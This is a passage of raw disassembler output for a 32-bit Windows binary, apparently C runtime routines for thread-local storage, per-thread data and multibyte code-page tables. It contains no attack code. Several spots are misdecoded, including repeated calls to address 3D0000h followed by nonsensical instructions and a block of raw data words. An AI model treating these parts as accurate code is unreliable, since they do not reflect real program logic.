mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_425B30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B50 proc near ; CODE XREF: seg000:loc_420BC4p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_4219A0
call ds:dword_4F1470 ; TlsAlloc
mov ds:dword_450040, eax
cmp ds:dword_450040, 0FFFFFFFFh
jnz short loc_425B71
xor eax, eax
jmp short loc_425BCE
; ---------------------------------------------------------------------------
loc_425B71: ; CODE XREF: sub_425B50+1Bj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_41B270
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_425BA4
mov eax, [ebp+var_4]
push eax
mov ecx, ds:dword_450040
push ecx
call ds:dword_4F146C ; TlsSetValue
test eax, eax
jnz short loc_425BA8
loc_425BA4: ; CODE XREF: sub_425B50+3Dj
xor eax, eax
jmp short loc_425BCE
; ---------------------------------------------------------------------------
loc_425BA8: ; CODE XREF: sub_425B50+52j
mov edx, [ebp+var_4]
push edx
call sub_425C10
add esp, 4
call near ptr 3D0000h
push es
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_425BCE: ; CODE XREF: sub_425B50+1Fj
; sub_425B50+56j
mov esp, ebp
pop ebp
retn
sub_425B50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_4219E0
cmp ds:dword_450040, 0FFFFFFFFh
jz short loc_425C07
mov eax, ds:dword_450040
push eax
call ds:dword_4F1474 ; TlsFree
mov ds:dword_450040, 0FFFFFFFFh
loc_425C07: ; CODE XREF: seg000:00425BEFj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C10 proc near ; CODE XREF: sub_425B50+5Cp
; sub_425C30+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_450578
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
pop ebp
retn
sub_425C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C30 proc near ; CODE XREF: sub_41D6B0+Cp
; sub_41DB90+3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
mov eax, ds:dword_450040
push eax
call ds:dword_4F147C ; TlsGetValue
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_425CB7
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_41B270
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_425CAD
mov ecx, [ebp+var_4]
push ecx
mov edx, ds:dword_450040
push edx
call ds:dword_4F146C ; TlsSetValue
test eax, eax
jz short loc_425CAD
mov eax, [ebp+var_4]
push eax
call sub_425C10
add esp, 4
call near ptr 3D0000h
imul ecx, [ebx+189FC4Dh], -75h
push ebp
cld
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_425CB7
; ---------------------------------------------------------------------------
loc_425CAD: ; CODE XREF: sub_425C30+43j
; sub_425C30+58j
push 10h
call sub_420CA0
add esp, 4
loc_425CB7: ; CODE XREF: sub_425C30+22j
; sub_425C30+7Bj
mov eax, [ebp+var_8]
push eax
call ds:dword_4F1478 ; RtlSetLastWin32Error
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_425C30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp ds:dword_450040, 0FFFFFFFFh
jz loc_425DD5
cmp dword ptr [ebp+8], 0
jnz short loc_425CF5
mov eax, ds:dword_450040
push eax
call ds:dword_4F147C ; TlsGetValue
mov [ebp+8], eax
loc_425CF5: ; CODE XREF: seg000:00425CE4j
cmp dword ptr [ebp+8], 0
jz loc_425DC6
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_425D19
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_41B8F0
add esp, 8
loc_425D19: ; CODE XREF: seg000:00425D06j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_425D33
push 2
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
call sub_41B8F0
add esp, 8
loc_425D33: ; CODE XREF: seg000:00425D20j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_425D4D
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_41B8F0
add esp, 8
loc_425D4D: ; CODE XREF: seg000:00425D3Aj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_425D67
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_41B8F0
add esp, 8
loc_425D67: ; CODE XREF: seg000:00425D54j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_425D81
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_41B8F0
add esp, 8
loc_425D81: ; CODE XREF: seg000:00425D6Ej
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_425D9B
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_41B8F0
add esp, 8
loc_425D9B: ; CODE XREF: seg000:00425D88j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_450578
jz short loc_425DB8
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_41B8F0
add esp, 8
loc_425DB8: ; CODE XREF: seg000:00425DA5j
push 2
mov ecx, [ebp+8]
push ecx
call sub_41B8F0
add esp, 8
loc_425DC6: ; CODE XREF: seg000:00425CF9j
push 0
mov edx, ds:dword_450040
push edx
call ds:dword_4F146C ; TlsSetValue
loc_425DD5: ; CODE XREF: seg000:00425CDAj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call near ptr 3D0000h
push edi
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call near ptr 3D0000h
inc esi
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_425E00: ; CODE XREF: sub_4265E0+Ep
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_421A80
add esp, 4
mov eax, [ebp+8]
push eax
call loc_426150
add esp, 4
mov [ebp+8], eax
mov ecx, [ebp+8]
cmp ecx, ds:dword_4EEE24
jnz short loc_425E3B
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp loc_426140
; ---------------------------------------------------------------------------
loc_425E3B: ; CODE XREF: seg000:00425E28j
cmp dword ptr [ebp+8], 0
jnz short loc_425E5C
call sub_426230
call sub_4262B0
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp loc_426140
; ---------------------------------------------------------------------------
loc_425E5C: ; CODE XREF: seg000:00425E3Fj
mov dword ptr [ebp-4], 0
jmp short loc_425E6E
; ---------------------------------------------------------------------------
loc_425E65: ; CODE XREF: seg000:loc_425FBAj
mov edx, [ebp-4]
add edx, 1
mov [ebp-4], edx
loc_425E6E: ; CODE XREF: seg000:00425E63j
cmp dword ptr [ebp-4], 5
jnb loc_425FBF
mov eax, [ebp-4]
imul eax, 30h
mov ecx, ds:dword_450050[eax]
cmp ecx, [ebp+8]
jnz loc_425FBA
mov dword ptr [ebp-24h], 0
jmp short loc_425E9F
; ---------------------------------------------------------------------------
loc_425E96: ; CODE XREF: seg000:00425EB2j
mov edx, [ebp-24h]
add edx, 1
mov [ebp-24h], edx
loc_425E9F: ; CODE XREF: seg000:00425E94j
cmp dword ptr [ebp-24h], 101h
jnb short loc_425EB4
mov eax, [ebp-24h]
mov ds:byte_4EEF40[eax], 0
jmp short loc_425E96
; ---------------------------------------------------------------------------
loc_425EB4: ; CODE XREF: seg000:00425EA6j
mov dword ptr [ebp-0Ch], 0
jmp short loc_425EC6
; ---------------------------------------------------------------------------
loc_425EBD: ; CODE XREF: seg000:loc_425F42j
mov ecx, [ebp-0Ch]
add ecx, 1
mov [ebp-0Ch], ecx
loc_425EC6: ; CODE XREF: seg000:00425EBBj
cmp dword ptr [ebp-0Ch], 4
jnb short loc_425F47
mov edx, [ebp-4]
imul edx, 30h
mov eax, [ebp-0Ch]
lea ecx, dword_450060[edx+eax*8]
mov [ebp-8], ecx
jmp short loc_425EEA
; ---------------------------------------------------------------------------
loc_425EE1: ; CODE XREF: seg000:loc_425F40j
mov edx, [ebp-8]
add edx, 2
mov [ebp-8], edx
loc_425EEA: ; CODE XREF: seg000:00425EDFj
mov eax, [ebp-8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_425F42
mov edx, [ebp-8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_425F42
mov ecx, [ebp-8]
xor edx, edx
mov dl, [ecx]
mov [ebp-24h], edx
jmp short loc_425F16
; ---------------------------------------------------------------------------
loc_425F0D: ; CODE XREF: seg000:00425F3Ej
mov eax, [ebp-24h]
add eax, 1
mov [ebp-24h], eax
loc_425F16: ; CODE XREF: seg000:00425F0Bj
mov ecx, [ebp-8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp-24h], edx
ja short loc_425F40
mov eax, [ebp-24h]
mov ecx, [ebp-0Ch]
mov dl, ds:byte_4EEF41[eax]
or dl, ds:byte_450048[ecx]
mov eax, [ebp-24h]
mov ds:byte_4EEF41[eax], dl
jmp short loc_425F0D
; ---------------------------------------------------------------------------
loc_425F40: ; CODE XREF: seg000:00425F21j
jmp short loc_425EE1
; ---------------------------------------------------------------------------
loc_425F42: ; CODE XREF: seg000:00425EF3j
; seg000:00425EFFj
jmp loc_425EBD
; ---------------------------------------------------------------------------
loc_425F47: ; CODE XREF: seg000:00425ECAj
mov ecx, [ebp+8]
mov ds:dword_4EEE24, ecx
mov ds:dword_4EEE3C, 1 ; CODE XREF: seg000:00425FCCj
mov edx, ds:dword_4EEE24
push edx
call sub_4261B0
add esp, 4
mov ds:dword_4EF044, eax
mov dword ptr [ebp-0Ch], 0
jmp short loc_425F80
; ---------------------------------------------------------------------------
loc_425F77: ; CODE XREF: seg000:00425FA2j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_425F80: ; CODE XREF: seg000:00425F75j
cmp dword ptr [ebp-0Ch], 6
jnb short loc_425FA4
mov ecx, [ebp-4]
imul ecx, 30h
mov edx, [ebp-0Ch]
mov eax, [ebp-0Ch]
mov cx, ds:word_450054[ecx+eax*2]
mov ds:word_4EEE30[edx*2], cx
jmp short loc_425F77
; ---------------------------------------------------------------------------
loc_425FA4: ; CODE XREF: seg000:00425F84j
call sub_4262B0
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp loc_426140
; ---------------------------------------------------------------------------
loc_425FBA: ; CODE XREF: seg000:00425E87j
jmp loc_425E65
; ---------------------------------------------------------------------------
loc_425FBF: ; CODE XREF: seg000:00425E72j
lea edx, [ebp-20h]
push edx
mov eax, [ebp+8]
push eax
call near ptr 3D0000h
jno short near ptr loc_425F50+1
clc
add [edi], ecx
test [ecx+eax], edi
; ---------------------------------------------------------------------------
dd 45C70000h, 0DCh, 8B09EB00h, 0C183DC4Dh, 0DC4D8901h
dd 1DC7D81h, 73000001h, 0DC558B0Ch, 0EF4082C6h, 0EB00004Eh
dd 8458BE2h, 4EEE24A3h, 4405C700h, 4EF0h, 83000000h, 0F01E07Dh
dd 0B586h, 0E64D8D00h, 0EBD84D89h, 0D8558B09h, 8902C283h
dd 458BD855h, 8AC933D8h, 74C98508h, 0D8558B47h, 428AC033h
dd 74C08501h, 0D84D8B3Bh, 118AD233h, 0EBDC5589h, 0DC458B09h
dd 8901C083h, 4D8BDC45h, 8AD233D8h, 55390151h, 8B1777DCh
dd 888ADC45h, 4EEF41h, 8B04C980h, 8A88DC55h, 4EEF41h, 0A5EBD3EBh
dd 1DC45C7h, 0EB000000h, 0DC458B09h, 8901C083h, 7D81DC45h
dd 0FFDCh, 8B177300h, 918ADC4Dh, 4EEF41h, 8B08CA80h, 9088DC45h
dd 4EEF41h, 0D8BD7EBh, 4EEE24h, 0F6E851h, 0C4830000h, 0F044A304h
dd 5C7004Eh, 4EEE3Ch, 1, 5C70AEBh, 4EEE3Ch, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp-0Ch], 0
jmp short loc_4260EA
; ---------------------------------------------------------------------------
loc_4260E1: ; CODE XREF: seg000:004260FDj
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
loc_4260EA: ; CODE XREF: seg000:004260DFj
cmp dword ptr [ebp-0Ch], 6
jnb short loc_4260FF
mov eax, [ebp-0Ch]
mov ds:word_4EEE30[eax*2], 0
jmp short loc_4260E1
; ---------------------------------------------------------------------------
loc_4260FF: ; CODE XREF: seg000:004260EEj
call sub_4262B0
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp short loc_426140
; ---------------------------------------------------------------------------
cmp ds:dword_4EEA50, 0
jz short loc_426133
call sub_426230
call sub_4262B0
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp short loc_426140
; ---------------------------------------------------------------------------
loc_426133: ; CODE XREF: seg000:00426119j
push 19h
call sub_421B20
add esp, 4
or eax, 0FFFFFFFFh
loc_426140: ; CODE XREF: seg000:00425E36j
; seg000:00425E57j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_426150: ; CODE XREF: seg000:00425E14p
push ebp
mov ebp, esp
mov ds:dword_4EEA50, 0
cmp dword ptr [ebp+8], 0FFFFFFFEh
jnz short loc_426175
mov ds:dword_4EEA50, 1
call near ptr 3D0000h
; ---------------------------------------------------------------------------
dw 0EBDAh
db 32h
; ---------------------------------------------------------------------------
loc_426175: ; CODE XREF: seg000:00426161j
cmp dword ptr [ebp+8], 0FFFFFFFDh
jnz short loc_42618D
mov ds:dword_4EEA50, 1
call near ptr 3D0000h
dec ebp
jmp short loc_4261A7
; ---------------------------------------------------------------------------
loc_42618D: ; CODE XREF: seg000:00426179j
cmp dword ptr [ebp+8], 0FFFFFFFCh
jnz short loc_4261A4
mov ds:dword_4EEA50, 1
mov eax, ds:dword_4EEA80
jmp short loc_4261A7
; ---------------------------------------------------------------------------
loc_4261A4: ; CODE XREF: seg000:00426191j
mov eax, [ebp+8]
loc_4261A7: ; CODE XREF: seg000:0042618Bj
; seg000:004261A2j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261B0 proc near ; CODE XREF: seg000:00425F61p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_4261FA
mov eax, [ebp+var_4]
xor edx, edx
mov dl, ds:byte_426214[eax]
jmp ds:off_426200[edx*4]
loc_4261DE: ; DATA XREF: seg000:off_426200o
mov eax, 411h
jmp short loc_4261FC
; ---------------------------------------------------------------------------
loc_4261E5: ; CODE XREF: sub_4261B0+27j
; DATA XREF: seg000:00426204o
mov eax, 804h
jmp short loc_4261FC
; ---------------------------------------------------------------------------
loc_4261EC: ; CODE XREF: sub_4261B0+27j
; DATA XREF: seg000:00426208o
mov eax, 412h
jmp short loc_4261FC
; ---------------------------------------------------------------------------
loc_4261F3: ; CODE XREF: sub_4261B0+27j
; DATA XREF: seg000:0042620Co
mov eax, 404h
jmp short loc_4261FC
; ---------------------------------------------------------------------------
loc_4261FA: ; CODE XREF: sub_4261B0+1Aj
; sub_4261B0+27j
; DATA XREF: ...
xor eax, eax
loc_4261FC: ; CODE XREF: sub_4261B0+33j
; sub_4261B0+3Aj ...
mov esp, ebp
pop ebp
retn
sub_4261B0 endp
; ---------------------------------------------------------------------------
off_426200 dd offset loc_4261DE ; DATA XREF: sub_4261B0+27r
dd offset loc_4261E5
dd offset loc_4261EC
dd offset loc_4261F3
dd offset loc_4261FA
byte_426214 db 0 ; DATA XREF: sub_4261B0+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426230 proc near ; CODE XREF: seg000:00425E41p
; seg000:0042611Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_426246
; ---------------------------------------------------------------------------
loc_42623D: ; CODE XREF: sub_426230+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_426246: ; CODE XREF: sub_426230+Bj
cmp [ebp+var_4], 101h
jge short loc_42625B
mov ecx, [ebp+var_4]
mov ds:byte_4EEF40[ecx], 0
jmp short loc_42623D
; ---------------------------------------------------------------------------
loc_42625B: ; CODE XREF: sub_426230+1Dj
mov ds:dword_4EEE24, 0
mov ds:dword_4EEE3C, 0
mov ds:dword_4EF044, 0
mov [ebp+var_4], 0
jmp short loc_42628B
; ---------------------------------------------------------------------------
loc_426282: ; CODE XREF: sub_426230+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42628B: ; CODE XREF: sub_426230+50j
cmp [ebp+var_4], 6
jge short loc_4262A0
mov eax, [ebp+var_4]
mov ds:word_4EEE30[eax*2], 0
jmp short loc_426282
; ---------------------------------------------------------------------------
loc_4262A0: ; CODE XREF: sub_426230+5Fj
mov esp, ebp
pop ebp
retn
sub_426230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262B0 proc near ; CODE XREF: seg000:00425E46p
; seg000:loc_425FA4p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, ds:dword_4EEE24
push ecx
call near ptr 3D0000h
push cs
cmp eax, 1
jnz loc_4264E9
mov [ebp+var_51C], 0
jmp short loc_4262F1
; ---------------------------------------------------------------------------
loc_4262E2: ; CODE XREF: sub_4262B0+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_4262F1: ; CODE XREF: sub_4262B0+30j
cmp [ebp+var_51C], 100h
jnb short loc_426312
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_4262E2
; ---------------------------------------------------------------------------
loc_426312: ; CODE XREF: sub_4262B0+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_42632D
; ---------------------------------------------------------------------------
loc_426324: ; CODE XREF: sub_4262B0:loc_426376j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_42632D: ; CODE XREF: sub_4262B0+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_426378
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_426356
; ---------------------------------------------------------------------------
loc_426347: ; CODE XREF: sub_4262B0+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_426356: ; CODE XREF: sub_4262B0+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_426376
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_426347
; ---------------------------------------------------------------------------
loc_426376: ; CODE XREF: sub_4262B0+B4j
jmp short loc_426324
; ---------------------------------------------------------------------------
loc_426378: ; CODE XREF: sub_4262B0+86j
push 0
mov eax, ds:dword_4EF044
push eax
mov ecx, ds:dword_4EEE24
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call loc_42E040
add esp, 1Ch
push 0
mov ecx, ds:dword_4EEE24
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, ds:dword_4EF044
push ecx
call loc_42BB40
add esp, 20h
push 0
mov edx, ds:dword_4EEE24
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
mov edx, ds:dword_4EF044
push edx
call loc_42BB40
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_426429
; ---------------------------------------------------------------------------
loc_42641A: ; CODE XREF: sub_4262B0:loc_4264DFj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_426429: ; CODE XREF: sub_4262B0+168j
cmp [ebp+var_51C], 100h
jnb loc_4264E4
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_426486
mov eax, [ebp+var_51C]
mov cl, ds:byte_4EEF41[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov ds:byte_4EEF41[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov ds:byte_4EEE40[eax], dl
jmp short loc_4264DF
; ---------------------------------------------------------------------------
loc_426486: ; CODE XREF: sub_4262B0+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_4264D2
mov edx, [ebp+var_51C]
mov al, ds:byte_4EEF41[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov ds:byte_4EEF41[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov ds:byte_4EEE40[edx], cl
jmp short loc_4264DF
; ---------------------------------------------------------------------------
loc_4264D2: ; CODE XREF: sub_4262B0+1EBj
mov edx, [ebp+var_51C]
mov ds:byte_4EEE40[edx], 0
loc_4264DF: ; CODE XREF: sub_4262B0+1D4j
; sub_4262B0+220j
jmp loc_42641A
; ---------------------------------------------------------------------------
loc_4264E4: ; CODE XREF: sub_4262B0+183j
jmp loc_4265AE
; ---------------------------------------------------------------------------
loc_4264E9: ; CODE XREF: sub_4262B0+20j
mov [ebp+var_51C], 0
jmp short loc_426504
; ---------------------------------------------------------------------------
loc_4264F5: ; CODE XREF: sub_4262B0:loc_4265A9j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_426504: ; CODE XREF: sub_4262B0+243j
cmp [ebp+var_51C], 100h
jnb loc_4265AE
cmp [ebp+var_51C], 41h
jb short loc_426558
cmp [ebp+var_51C], 5Ah
ja short loc_426558
mov ecx, [ebp+var_51C]
mov dl, ds:byte_4EEF41[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov ds:byte_4EEF41[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov ds:byte_4EEE40[edx], cl
jmp short loc_4265A9
; ---------------------------------------------------------------------------
loc_426558: ; CODE XREF: sub_4262B0+26Bj
; sub_4262B0+274j
cmp [ebp+var_51C], 61h
jb short loc_42659C
cmp [ebp+var_51C], 7Ah
ja short loc_42659C
mov eax, [ebp+var_51C]
mov cl, ds:byte_4EEF41[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov ds:byte_4EEF41[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov ds:byte_4EEE40[ecx], al
jmp short loc_4265A9
; ---------------------------------------------------------------------------
loc_42659C: ; CODE XREF: sub_4262B0+2AFj
; sub_4262B0+2B8j
mov edx, [ebp+var_51C]
mov ds:byte_4EEE40[edx], 0
loc_4265A9: ; CODE XREF: sub_4262B0+2A6j
; sub_4262B0+2EAj
jmp loc_4264F5
; ---------------------------------------------------------------------------
loc_4265AE: ; CODE XREF: sub_4262B0:loc_4264E4j
; sub_4262B0+25Ej
mov esp, ebp
pop ebp
retn
sub_4262B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp ds:dword_4EEE3C, 0
jz short loc_4265D3
mov eax, ds:dword_4EEE24
jmp short loc_4265D5
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: seg000:004265CAj
xor eax, eax
loc_4265D5: ; CODE XREF: seg000:004265D1j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265E0 proc near ; CODE XREF: sub_42C0C0+Dp
; sub_42C180+Fp ...
push ebp
mov ebp, esp
cmp ds:dword_4F0088, 0
jnz short loc_426600
push 0FFFFFFFDh
call loc_425E00
add esp, 4
mov ds:dword_4F0088, 1
loc_426600: ; CODE XREF: sub_4265E0+Aj
pop ebp
retn
sub_4265E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426610 proc near ; CODE XREF: sub_41DC60+41p
; sub_41DC60+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp ds:dword_4EEE3C, 0
jnz short loc_42663C
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41D800
add esp, 0Ch
jmp loc_426731
; ---------------------------------------------------------------------------
loc_42663C: ; CODE XREF: sub_426610+11j
push 19h
call sub_421A80
add esp, 4
loc_426646: ; CODE XREF: sub_426610:loc_4266FEj
cmp [ebp+arg_8], 0
jz loc_426703
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4EEF41[eax]
and ecx, 4
test ecx, ecx
jz short loc_4266D5
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_42669A
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_426703
; ---------------------------------------------------------------------------
loc_42669A: ; CODE XREF: sub_426610+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_4266D3
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_426703
; ---------------------------------------------------------------------------
loc_4266D3: ; CODE XREF: sub_426610+B8j
jmp short loc_4266FE
; ---------------------------------------------------------------------------
loc_4266D5: ; CODE XREF: sub_426610+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_4266FE
jmp short loc_426703
; ---------------------------------------------------------------------------
loc_4266FE: ; CODE XREF: sub_426610:loc_4266D3j
; sub_426610+EAj
jmp loc_426646
; ---------------------------------------------------------------------------
loc_426703: ; CODE XREF: sub_426610+3Aj
; sub_426610+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_426724
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_426703
; ---------------------------------------------------------------------------
loc_426724: ; CODE XREF: sub_426610+101j
push 19h
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
loc_426731: ; CODE XREF: sub_426610+27j
mov esp, ebp
pop ebp
retn
sub_426610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426740 proc near ; CODE XREF: sub_41E3D0+2Ep
; sub_420150+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_4267F0
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_426760
; ---------------------------------------------------------------------------
loc_426757: ; CODE XREF: sub_426740:loc_426788j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426760: ; CODE XREF: sub_426740+15j
cmp [ebp+var_4], 2Dh
jnb short loc_42678A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
